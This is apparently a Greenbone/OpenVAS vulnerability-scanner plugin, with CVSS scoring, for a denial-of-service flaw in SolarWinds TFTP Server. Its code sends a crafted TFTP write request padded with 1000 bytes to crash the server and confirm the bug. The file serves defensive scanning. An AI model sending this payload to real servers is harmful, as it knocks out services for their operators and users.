CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
AI Score
Confidence
High
EPSS
Percentile
85.7%
SolarWinds TFTP Server is prone to a denial of service (DoS) vulnerability.
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.901124");
script_version("2023-07-21T05:05:22+0000");
script_cve_id("CVE-2010-2310");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2010-06-22 13:34:32 +0200 (Tue, 22 Jun 2010)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_name("SolarWinds TFTP Server Write Request Denial Of Service Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2010 Greenbone AG");
script_family("Denial of Service");
script_dependencies("tftpd_detect.nasl", "global_settings.nasl", "os_detection.nasl");
script_require_udp_ports("Services/udp/tftp", 69);
script_mandatory_keys("tftp/detected");
script_require_keys("Host/runs_windows");
script_exclude_keys("keys/TARGET_IS_IPV6");
script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/13836");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/40824");
script_tag(name:"impact", value:"Successful exploitation will allow attacker to crash the server
process, resulting in a denial-of-service condition.");
script_tag(name:"affected", value:"SolarWinds TFTP Server 10.4.0.13.");
script_tag(name:"insight", value:"The flaw is caused by an error when processing TFTP write
requests, which can be exploited to crash the server via a specially crafted request.");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
product or replace the product by another one.");
script_tag(name:"summary", value:"SolarWinds TFTP Server is prone to a denial of service (DoS) vulnerability.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"WillNotFix");
exit(0);
}
if(TARGET_IS_IPV6())
exit(0);
include("tftp.inc");
include("misc_func.inc");
include("port_service_func.inc");
port = service_get_port( default:69, proto:"tftp", ipproto:"udp" );
if( ! tftp_alive( port:port ) )
exit( 0 );
sock = open_sock_udp( port );
if( ! sock )
exit( 0 );
crash = raw_string( 0x00, 0x02 ) + crap( 1000 ) + raw_string( 0x00 ) +
"NETASCII" + raw_string( 0x00 );
send( socket:sock, data:crash );
close( sock );
if( ! tftp_alive( port:port ) ) {
security_message( port:port, proto:"udp" );
exit( 0 );
}
exit( 99 );